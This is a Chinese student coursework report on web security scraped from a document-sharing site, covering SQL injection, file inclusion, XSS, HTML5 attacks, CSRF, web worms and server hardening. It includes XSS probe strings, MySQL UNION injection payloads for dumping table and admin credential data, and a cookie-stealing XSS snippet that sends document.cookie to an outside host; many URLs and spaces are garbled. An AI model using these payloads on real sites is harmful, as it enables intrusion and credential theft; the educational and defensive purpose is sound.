Web前端认识和理解_第1页
Web前端认识和理解_第2页
Web前端认识和理解_第3页
Web前端认识和理解_第4页
Web前端认识和理解_第5页
已阅读5页,还剩13页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

Web前端认识和理解Web前端认识和理解/Web前端认识和理解Web前端认识班级:姓名:夏维;王波学号:2011211830;2011211832授课教师:董涛对Web前端的认识由于网络技术日趋成熟,黑客们也将注意力从以往对网络服务器的攻击逐步转移到了对Web应用的攻击上。根据Gartner的最新调查,信息安全攻击有75%都是发生在Web应用而非网络层面上。同时,数据也显示,三分之二的Web站点都相当脆弱,易受攻击。然而现实确是,绝大多数企业将大量的投资花费在网络和服务器的安全上,没有从真正意义上保证Web应用本身的安全,给黑客以可乘之机。一、Web的介绍web的起源Web是WorldWideWeb的简称,中文称之为万维网,是用于发布、浏览、查询信息的网络信息服务系统,由许多遍布在不同地域内的Web服务器有机地组成Web架构的精妙处从技术层面上看,Web架构的精华有三处:用超文本技术(HTML)实现信息及信息的连接;用统一资源定位技术(URL)实现全球信息的精确定位;用新的应用层协议(HTTP)实现分布式的信息共享。Web技术涉及的技术Web是一种典型的分布式应用架构。Web应用中的每一次信息交换都要涉及到客户端和服务端两个层面.因此,Web开发技术大体上也可以被分为客户端技术和服务端技术两大类。(1)客户端技术①HTML语言的诞生Web客户端的主要任务是展现信息内容,HTML语言是信息展现的最有效载体之一。作为一种实用的超文本语言,1990年,第一个图形化的Web浏览器”WorldWideWeb”终于可以使用一种为Web度身定制的语言—-HTML来展现超文本信息了。②从静态信息到动态信息最初的HTML语言只能在浏览器中展现静态的文本或图像信息,随后由静态技术向动态技术逐步转变。1997年,Microsoft发布了IE4。0,并将动态HTML标记、CSS和动态对象模型发展成了一套完整、实用、高效的客户端开发技术体系,Microsoft称其为DHTML。同样是实现HTML页面的动态效果,DHTML技术无需启动Java虚拟机或其他脚本环境,可以在浏览器的支持下,获得更好的展现效果和更高的执行效率。为了在HTML页面中实现音频、视频等更为复杂的多媒体应用,又引入了对QuickTime插件的支持。Realplayer插件、Microsoft自己的媒体播放插件MediaPlayer也被预装到了各种Windows版本之中。随后Flash插件的横空出世。(2)服务端技术及客户端技术从静态向动态的演进过程类似,Web服务端的开发技术也是由静态向动态逐渐发展、完善起来的.二、漏洞挖掘

漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出格式化字符串堆溢出lib库溢出等技术都是针对ELF文件或者PE文件的漏洞挖掘技术。在针对ELF文件PE文件如*.exe及*。dl的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE文件ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,但是毕竟源代码审计软件寻找的多数为strcpymemcpy等存在缓冲区溢出遗患的C函数,所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘技术。例如Linux内核的很多漏洞都是通过fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的攻击技术。网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MSSQL注入般的被很多人堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,当然有些人是通过MSSQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功的步骤。我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后配合经验的提高,大家或许会得到意想不到的效果.WEB漏洞的分类1、SQL注入

SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而实现最终获取某种权限的攻击技术。SQL注入的关键部分在于对元数据的利用,所谓元数据即数据库的基础数据。例如我们可以通过database()version()来获得数据库的名称及版本,而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容。理解了元数据的概念,在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.2、文件包含类型,如PHP的的远程本地文件包含漏洞

文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以很快速的达到上传WEBSHELL,然后本地提升权限的作用.3、XSS

XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任Javascript脚本,那安全性也是不容忽视的。通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度。例如我们这几天公布的这个可跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务器信息,并最终实现得到其一定权限的方法。同时例如session骗cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的。二、WEB漏洞挖掘规则漏洞挖掘规则需要一个WEB浏览器,如IEFirefox等即可,无需读取WEB程序的源代码,只要某个规则符合了漏洞规则的要求,即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法例如:

<script>alert("111”)</script>,如果对方的代码过滤了”双引号,那么可以通过<script〉alert(’111’)〈/script>,采用'单引号测试,若单引号也过滤呢?OK,我们这样来测试<script〉alert(111)</script>,使用数字提交,这样测试XSS的漏洞就扩展到了三条,通过构造HTML语句来实现XSS漏洞的挖掘等等.XSS的漏洞挖掘规则〈script>alert("111”)</script〉<script>alert('111’)〈/script〉

<script〉alert(111)</script〉

〈body+onload=alert("1111”)〉

<body+onload=alert(’1111')〉

<body+onload=alert(1111)>

〈img+src=("1111”)>

<img+src=(’1111')>

<img+src=(1111)〉

<"

<’

<!——

<!——

—->使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,可以找到一些XSS漏洞。

下面的这四个语句判断是否存在mysql注入,其中'号类型的测试已经不是很可行,特别在PHP5和mysql5的环境下:)'

and1=1HYPERLINK”/t%20”

and1=2

orderby4//4为判断该表的列数,直到猜测到为止下面的语句来获取mysql的一些信息,这里我们假设我们使用orderby语句判断出的列数为4HYPERLINK”/t%20”

and1=1unionselect1,2,3,4HYPERLINK

and1=1unionselectversion(),database(),user(),4/t%20”

and1=1unionselectversion()/*HYPERLINK”/t%20”

and1=1unionselectdatabse()/*猜测表名:

and1=1unionselecttable_schema,table_name,table_rows,table_countfrominformation_schema.tables//上面使用数据库的元数据来获取mysql的信息,前提是系统管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的。在开始分析mysql数据库到底可以执行到那种程度的注入情况下分析了mysql的系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,information_schema数据库用到的表的具体字段1:KEY_COLUMN_USAGE表constraint_schema:存放数据库名table_schema:存放数据库名table_name:存放数据库表信息column_name:存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息2:SCHEMA表schema_name:存放数据库名default_charater_set_name:存放charset类型default_collation_name:存放charset相关信息3:SCHEMA_PRIVILEGES表grantee:存放数据库用户名table_schema:表名privilege_type:权限4:STATISTICS表table_schema:存放数据库名table_name:存放表名index_schema:数据库名index_name:是否缩引column_name:存放索引自增字段5:TABLES表table_schema:存放数据库名table_name:存放表名table_type:表类型SYSTEMorBASETABLEengin:MEMORYMYISAMInnoDBversion:table_rows:表的行数auto_increment:自增的总行数create_time:创建表的时间update_time:更新表的时间create_options:创建表时的约束条件有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而直接获取数据库表名的结果.

猜测列名:

HYPERLINK”/t%20”

and1=1unionselectusername,2,3,4fromuserwhere1=2按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会出错,也可以使用where1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表的字段信息,如:admin及password:)C:文件包含漏洞

文件包含漏洞的测试,有以下几个比较简单且有效的办法。1:新建一个简单的php代码,如:〈?phpinfo();?>,保存为*。txt格式2:新建一个简单的php代码,如:〈?phpinfo();?>,保存为无后缀格式然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为HYPERLINK”/t%20"漏洞规则/t%20"HYPERLINKHYPERLINK”/t%20"使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.例如从XSS漏洞的检测规则可能会发现包含文件漏洞,如果知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char*str),假设/t%20"(n为触发漏洞的最大字符数)当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode。但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的。三:XSS的概述最重要的要了解XSS漏洞的是,他们是目前为止发现的,在所有网站超过80%比例的定制Web应用程序中最常见的漏洞。虽然跨站点脚本在一段时间内一直被认为是中等程度的的漏洞,但XSS蠕虫和病毒的出现,已经提高了XSS的评估.软件开发人员和安全专业人员需要知道它是多么简单,以防止代码开发过程中出现XSS漏洞,并且一经查出,他们是多么容易解决。XSS是一种攻击技术,它使得一个网站,写出攻击者提供的可执行代码,然后加载在用户的Web浏览器。也就是说,当黑客使用存在漏洞的网站作为攻击的通道时,用户是预定的受害者。1、非持久性xss想想看,一个黑客想使用“"网站对用户进行XSS攻击。黑客会采取的第一个步骤是在找出一个XSS漏洞,然后构造一个特制的URL,也被称为链接.要做到这一点,黑客会搜寻网站上的客户端提供的数据可以被发送到Web服务器,然后回显到屏幕上的任何功能,比如搜索框。常见的在线发布的博客。XSS漏洞往往出现在搜索框表单.在搜索字段中输入“testsearch”,响应页面将用户输入的文本在显示在三个不同的位置,查询字符串中包含值为“test+search”的“search”参数。这个URL值可以在运行时更改,甚至包括HTML/JavaScript的内容。,其3展示了原来的搜索词被替换为下面的HTML/JavaScript代码时会发生什么:Example1。">〈SCRIPT>alert(‘XSS%20Testing')〈/SCRIPT>结果页面弹出了一个无害的警告对话框。根据提示,提交的代码已经成为web页面的一部分,证明了JavaScript已进入到的上下文并得到执行。其4展示了夹杂有新的HTML/JavaScript代码的Web页面的HTML源代码。其3,原来的搜索词将被替换为HTML/JavaScript代码.其4,夹杂有新的HTML/JavaScript代码的Web页面的HTML源代码。此时,黑客将会继续修改这个URL,包含更复杂的XSS攻击来利用用户。一个典型的例子是一个简单的cookie盗窃的攻击。Example2。“〉<SCRIPT>var+img=new+Image();img。src=”/”%20+%20document。cookie;</SCRIPT〉前面的JavaScript代码创建一个图像DOM(文档对象模型)对象。varimg=newImage();因为JavaScript代码在“”上下文中执行,所以它可以访问cookie数据。document.cookie;图形对象然后指派一个外域的URL发送带有Web浏览器的Cookie字符串的数据到“”。img。src=”/”+document.cookie;下面是一个例子,是一个被发送的HTTP请求。Example3。GETHTTP/1.1Host:hostUser—Agent:Firefox/1.5。0。1Content-length:0一旦黑客完成了他的攻击代码,他会通过垃圾邮件,留言板的帖子,即时消息和其他方法宣传这种特制的链接,试图吸引用户点击。是什么让这种攻击这么有效?用户可能点击正常的网络钓鱼邮件7中的链接是因为这个URL包含了真正的网站域名,而不是一种外观相似的域名或随机的IP地址.应当注意的是,过长的XSS链接可以使用URL缩短服务,如TinyURL.com进行伪装.2、持久型XSS持久型XSS攻击最常发生在由社区内容驱动的网站或Web邮件网站,不需要特制的链接来执行。黑客仅仅需要提交XSS漏洞利用代码到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户评论,留言板,聊天室,HTML电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的网页,执行是自动的。这使得持续性的XSS的危险性比非持久性高,因为用户没有办法保护自己。一旦黑客成功在某个页面注入了漏洞利用代码,他将宣传受感染页面的URL来希望不知情的用户中招。即使用户对非持续性XSS的URL懂得识别,也会很容易的受到影响.无论使用非持续性或持续性的XSS漏洞,黑客可以利用用户,导致网络和财务上的损失,有许多的方法.2、传播的方法对于一个病毒或蠕虫想要成功,它需要一个执行和传播的方法.电子邮件病毒通常在鼠标点击后执行,然后通过您的联系人列表来发送带有恶意软件的的邮件进行传播。网络蠕虫利用远程利用漏洞危害机器和并且通过连接到其他存在漏洞的主机进行传播。除传播之外,蠕虫病毒还是高度多样化,包括创造DDoS僵尸网络,垃圾邮件僵尸,或远程键盘监控的能力.XSS蠕虫及其他形式的恶意软件相似,但以自己独特的方式执行和传播。使用一个网站来存放恶意代码,XSS蠕虫和病毒通过控制Web浏览器,使得它复制恶意软件到网络上的其他地方去感染别人来进行传播.例如,一个含有恶意软件的博客评论,可以使用访问者的浏览器发布额外的感染性的博客评论.XSS蠕虫病毒可能会使得浏览器进行发送电子邮件,转账,删除/修改数据,入侵其他网站,下载非法内容,以及许多其他形式的恶意活动。用最简单的方式去理解,就是如果没有适当的防御,在网站上的任何功能都可以在未经用户许可的情况下运行。在最后一节中,我们将重点放在XSS漏洞本身,以及用户可以怎么样被利用。现在,我们来看XSS恶意软件是如何可以进行远程通信。XSS漏洞利用代码,通常是HTML/JavaScript,使用三种方式使得浏览器发送远程HTTP请求的浏览器:嵌入式的HTML标签,JavaScriptDOM的对象,XMLHTTPRequest.3、嵌入式HTML标签一些HTML标签具有在页面加载时会自动发起Web浏览器的HTTP请求的属性。有一个例子是IMG的SRC属性。SRC属性用于指定在Web页面中显示的图像文件的URL地址.当你的浏览器载入带有IMG标签的网页,图像会自动被请求,并在浏览器中显示。但是,SRC属性也可以被用于任何Web服务器的其他URL,不仅仅是包含图像的.例如,如果我们进行了谷歌搜索“WhiteHatSecurity”我们最终得到了下面的URL:这个URL可以很容易地取代IMG内的SRC属性的值,从而迫使您的Web浏览器中执行相同的谷歌搜索。<imgsrc=”Search"〉显然使得Web浏览器发送一个谷歌搜索请求是没有什么危害性的.然而,URL构建的同样的过程可以用来使得Web浏览器自动进行银行账户资金的汇款,发表煽动性言论,甚至入侵网站.这一点可以说明,这是一个迫使一个Web浏览器连接到其他网站,使的XSS蠕虫病毒传播的机制。5、JavaScript和文档对象模型JavaScript被用于给网站访问者一个丰富的、交互式的体验。这些网页更接近于一个软件应用程序,而不是一个静态的HTML文档。我们常会看到JavaScript被用于进行图像的翻转,动态表单输入检查,弹出对话框,下拉菜单,拖动和拖放等。JavaScript有接近完全的对网站上的每一个对象,包括图像,cookies,窗口,框架和文本内容的访问。这些对象中的每一个都是文档对象模型的一部分。DOM提供了一系列JavaScript读取和操作的应用程序编程接口.类似嵌入式HTML标签的功能,JavaScript可以操纵DOM对象自动发起Web浏览器的HTTP请求。图像和窗口的源URL可以被重新指定为其他URL的。我们可以使用JavaScript来改变图像的DOM对象SRC进行谷歌搜索“WhiteHatSecurity”。img[0]。src=Search;迫使Web浏览器连接到其他网站发送一个谷歌搜索请求是一种无害的例子。但这也说明了XSS恶意软件传播的另一种方法。四、HTML5安全五种可能会利用HTML5的功能进行攻击的方法:1、表单篡改:另一个新功能让攻击者可以在被注入JavaScript的网站(例如XSS攻击)中更改该网页上的表单行为。举例来说,攻击者可以改变一个网络商店的正常行为,不是将内容送到购买或是登录页面,而是将用户的身分认证信息发送到攻击者自己的网站。2、利用地理定位追踪受害者:地理定位是HTML5新功能中最受注目的一个.因为安全和隐私的考虑,网站必须先得到用户的批准,随后才能获得位置讯息.然而就和以前出现过的其他功能一样,例如Vista的用户帐户控制,Android的应用程序权限,还有无效的HTTPS凭证等,这些需要用户作决定的安全措施几乎没有任何效果。而一旦有了授权,网站不仅可以知道受害者的位置,而且还可以在用户移动时对其进行实时追踪.3、利用桌面通知做社会工程学攻击:我们在HTML5的五大优秀功能文章中曾经提到过HTML5的一个新功能:桌面通知.这些出现在浏览器之外的弹出窗口,其实是可以用HTML程序代码进行定制的。虽然这种功能带来了很不错的交互方式,但也可能导致社会工程学攻击,例如网络钓鱼或者假冒杀毒软件等。看看下面的图片就可以想象到,攻击者可以如何利用这个新功能了。4、利用跨域请求或WebSockets的端口扫描:有了HTML5,浏览器现在可以连到任何IP地址或网站的(几乎)任何端口.虽然除非目标网站有特别的允许,不然并不能接收到来自任意端口连接的回应,但是研究人员表示,这类请求所花的时间可以用来判断目标端口是打开的还是关闭的。因此攻击者就可以直接利用浏览器对受害者的内部网络进行端口扫描。5、点击劫持更加容易:点击劫持本身不是种新的攻击,这种攻击的目的是窃取受害者的鼠标按钮点击,然后将点击定向到攻击者所指定的其他页面。攻击者的目的是让用户在不知情的情况下点击隐藏的链接。目前,对于点击劫持最好的服务器端防御措施之一是被称为Framekilling的技术。本质上来说,受到影响的网站可以利用JavaScript来验证自己是否在一个iframe中运行,如果是的话,就拒绝显示页面内容。这种技术已经被在用在Facebook、Gmail和其他一些网站中.但是HTML5在iframe中增加了一个新的沙盒属性,该属性会让网站停止执行JavaScript脚本。在大多数情况下,这其实是比较安全的做法,但也存在缺点,就是会抵消目前对点击劫持最好的防御措施。五、CSRFCSRF是跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本,但它及XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。及XSS攻击相比,CSRF攻击往往不大流行和难以防范,所以被认为比XSS更具危险性。即在某个恶意站点的页面上,促使访问者请求你的网站的某个URL,从而达到改变服务器端数据的目的.这一类攻击依赖于你的网页中的表单,脆弱的表单很容易受到攻击。对于你网站中的访问者而言,可能会受到以下攻击:在你的网站之外记录受攻击者的日志(比如:Slashdot);修改受攻击者在你的网站的设置(比如:Google);修改你的硬件防火墙;使用受攻击者的登录信息在你的网站中发表评论或留言;将资金转移到另一个用户帐号中。CSRF攻击的典型是那些使用cookie记录登录信息的网站,但对于一些允许某个IP地址访问的页面(如内部网),这一类攻击也会奏效.CSRF攻击通常会使用到JavaScript(但不仅限于JavaScript)实现跨站点自动提交表单--表单数据可以隐藏,提交按钮可以伪装成链接或滚动条。确定那些接受可改变服务器数据的CGI只接受POST参数,不接受GET参数,一些服务器端语言默认同时接受两种方式提交过来的参数;确定表单提交处理的是你自己的表单,可以使用一个隐藏字段中存放MD5字符串,此字符串是将登录cookie数据及服务器端存放的密钥进行MD5之后的结果,只有这个MD5字符串正确时才接受表单数据;另外还可以增加一个更为严格的方法:在表单中增加一个时间戳的隐藏字段,并将其包含到hash字符串中,如果时间戳超过某个时间,则认为表单已过期。当表单过期时,给出一个方法可以让用户重新提交表单,比如将用户之前填写的数据依旧放入表单中,但使用一个新的hash字符串。一个PHP的表单例子,表单代码:<?php$key=y8s4Z7m2;//MD5加密密钥$time=time();//当前时间$hash=md5($time。$key);//hash字符串?〈formmethod=”post”action="comment.php”〈pYourname:〈inputtype=”text”name=”person_name"/〈/p<pComment:/〈textareaname="comment"rows="10”cols="60”〈/textarea</p〈inputtype="hidden"name=”time”value=”<?phpecho$time;?"/<inputtype="hidden”name=”hash”value="〈?phpecho$hash;?"/<p<inputtype="submit"name="comment"value="SubmitComment"/</p</form表单提交之后的comment。php后台处理程序代码:〈?php$key=y8s4Z7m2;//密钥,及上面的一致$expire=1800;//表单过期时间:半小时$my_hash=md5($_POST[time].$key);//正确的hash字符串if($my_hash!=$_POST[hash])//hash字符串不正确die(非法表单提交。);if(time()—$_POST[time]$expire){//表单已经过期,生成新的时间戳和hash字符串,显示表单让用户重新提交。(此处省略)//…。}//表单验证通过,可以接受表单提交的数据,并进行其它操作。六、Web蠕虫Web蠕虫主要包括:XSS蠕虫、CSRF蠕虫、Clickjacking蠕虫,这三类蠕虫都及具体的漏洞风险有关系,从名字上很好分。还有第四类文本蠕虫。蠕虫性质:传播性,病毒性为。什么是xss蠕虫蠕虫病毒,比如前几年比较猖獗的熊猫烧香,还有最近Conficker蠕虫。这些蠕虫的特性都是具有自传播,感染,变形等。最近流行的猪流感按照理论也算蠕虫病毒。而近年来由于ajax流行,web2。0的一些特性,使得web蠕虫流行。任何一个蠕虫都不无原缘无故发作的,比如熊猫烧香是利用挂马,远程扫描等方式感染的,而这归根结底还是系统有漏洞。那么web蠕虫的切入点就是web有漏洞了。从03年脚本入侵流行一来,sql注射就是最流行的入侵方式,但是由于现在人们的安全意识的提高,sql漏洞越来越少,xss的漏洞就开始凸显出来,而xss可以使我们嵌入任意我们需要的代码,比如盗个cookie等,当别人访问的时候会吧自己的发送到你指定的文件里去.一个xss蠕虫都有什么基本功能之前在说熊猫烧香之类的蠕虫病毒已经说过了这个内容,传播感染和变形,而现在web蠕虫先不用发展那么高级,而我们只需要写出传播和感染就行,至于变形,除非漏洞被过滤了我们还需要绕过那么就需要一定得变形,而这种变形一般不会影响我们写的蠕虫文件,会影响到调用蠕虫文件的代码。CSRF蠕虫原理及XSS蠕虫基本类似,只是这里用到的是CSRF,攻击代码存在于攻击者的页面中,目标网站传播的内容都包含攻击者页面URL,这样才能有货目标网站上的被攻击者打开攻击者页面,然后出发CSRF,CSRF会据需跨域发布含攻击者页面URL的内容进行传播。八、Web面临的安全威胁来自网络上的安全威胁及攻击多种多样,依照Web访问的结构,可将其分类为对Web服务器的安全威胁、对Web客户机的安全威胁和对通信信道的安全威胁三类。(一)对Web服务器的安全威胁对于Web服务器、服务器的操作系统、数据库服务器都有可能存在漏洞,恶意用户都有可能利用这些漏洞去获得重要信息。Web服务器上的漏洞可以从以下几方面考虑:1、在Web服务器上的机密文件或重要数据,如存放用户名、口令的文件放置在不安全区域,被入侵后很容易得到。2、在Web数据库中,保存的有价值信息,如商业机密数据、用户信息等,如果数据库安全配置不当,很容易泄密。3、Web服务器本身存在一些漏洞,能被黑客利用侵入到系统,破坏一些重要的数据,甚至造成系统瘫痪。4、程序员的有意或无意在系统中遗漏Bugs给非法黑客创造条件。用CGI脚本编写的程序中的自身漏洞。(二)对Web客户机的安全威胁现在网页中的活动内容已被广泛应用,活动内容的不安全性是造成客户端的主要威胁。网页的活动内容是指在静态网页中嵌入的对用户透明的程序,它可以完成一些动作,显示动态图像、下载和播放音乐、视频等。当用户使用浏览器查看带有活动内容的网页时,这些应用程序会自动下载并在客户机上运行,如果这些程序被恶意使用,可以窃取、改变或删除客户机上的信息。主要用到JavaApplet和ActiveX技术。JavaApplet使用Java语言开发,随页面下载,Java使用沙盒根据安全模式所定义的规则来限制JavaApplet的活动,它不会访问系统中规定安全范围之外的程序代码。但事实上JavaApplet存在安全漏洞,可能被利用进行破坏。ActiveX是微软的一个控件技术,它封装由网页设计者放在网页中来执行特定的任务的程序,可以由微软支持的多种语言开发但只能运行在Windows平台。ActiveX在安全性上不如JavaApplet,一旦下载,能像其他程序一样执行,访问包括操作系统代码在内的所有系统资源,这是非常危险的。Cookie是Netscape公司开发的,用来改善HTTP的无状态性。无状态的表现使得制造像购物车这样要在一定时间内记住用户动作的东西很难。Cookie实际上是一段小消息,在浏览器第一次连接时由HTTP服务器送到浏览器端,以后浏览器每次连接都把这个Cookie的一个拷贝返回给Web服务器,服务器用这个Cookie来记忆用户和维护一个跨多个页面的过程影像。Cookie不能用来窃取关于用户或用户计算机系统的信息,它们只能在某种程度上存储用户的信息,如计算机名字、IP地址、浏览器名称和访问的网页的URL等。所以,Cookie是相对安全的。(三)对通信信道的安全威胁Internet是连接Web客户机和服务器通信的信道,是不安全的.像Sniffer这样的嗅探程序,可对信道进行侦听,窃取机密信息,存在着对保密性的安全威胁。未经授权的用户可以改变信道中的信息流传输内容,造成对信息完整性的安全威胁。此外,还有像利用拒绝服务攻击,向网站服务器发送大量请求造成主机无法及时响应而瘫痪,或者发送大量的IP数据包来阻塞通信信道,使网络的速度便缓慢。九、Web的安全防护技术(一)Web客户端的安全防护Web客户端的防护措施,重点对Web程序组件的安全进行防护,严格限制从网络上任意下载程序并在本地执行。可以在浏览器进行设置,如MicrosoftInternetExplorer的Internet选项的高级窗口中将Java相关选项关闭。在安全窗口中选择自定义级别,将ActiveX组件的相关选项选为禁用。在隐私窗口中根据需要选择Cookie的级别,也可以根据需要将c:\windows\cookie下的所有Cookie相关文件删除.(二)通信信道的安全防护通信信道的防护措施,可在安全性要求较高的环境中,利用HTTPS协议替代HTTP协议。利用安全套接层协议SSL保证安全传输文件,SSL通过在客户端浏览器软件和Web服务器之间建立一条安全通信信道,实现信息在Internet中传送的保密性和完整性.但SSL会造成Web服务器性能上的一些下降。(三)Web服务器端的安全防护限制在Web服务器中账户数量,对在Web服务器上建立的账户,在口令长度及定期更改方面作出要求,防止被盗用.Web服务器本身会存在一些安全上的漏洞,需要及时进行版本升级更新.尽量使EMAIL、数据库等服务器及Web服务器分开,去掉无关的网络服务。在Web服务器上去掉一些不用的如SHELL之类的解释器.定期查看服务器中的日志文件,分析一切可疑事件。设置好Web服务器上系统文件的权限和属性。通过限制许可访问用户IP或DNS。从CGI编程角度考虑安全.采用编译语言比解释语言会更安全些,并且CGI程序应放在独立于HTML存放目录之外的CGI-BIN下等措施。十、Web服务器安全防护策略的应用这里以目前应用较多的Windows2000平台和IIS的Web服务器为例简述Web服务器端安全防护的策略应用(一)系统安装的安全策略安装Windows2000系统时不要安装多余的服务和多余的协议,因为有的服务存在有漏洞,多余的协议会占用资源.安装Windows2000后一定要及时安装补丁4程序(W2KSP4_CN.exe),立刻安装防病毒软件。(二)系统安全策略的配置通过“本地安全策略”限制匿名访问本机用户、限制远程用户对光驱或软驱的访问等.通过“组策略"限制远程用户对Netmeeting的桌面共享、限制用户执行Windows安装任务等安全策略配置。(三)IIS安全策略的应用在配置Internet信息服务(IIS)时,不要使用默认的Web站点,删除默认的虚拟目录映射;建立新站点,并对主目录权限进行设置。一般情况下设置成站点管理员和Administrator两个用户可完全控制,其他用户可以读取文件。(四)审核日志策略的配置当Windows2000出现问题的时候,通过对系统日志的分析,可以了解故障发生前系统的运行情况,作为判断故障原因的根据。一般情况下需要对常用的用户登录日志,HTTP和FTP日志进行配置。1、设置登录审核日志审核事件分为成功事件和失败事件.成功事件表示一个用户成功地获得了访问某种资源的权限,而失败事件则表明用户的尝试失败.2、设置HTTP审核日志通过“Internet服务管理器”选择Web站点的

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论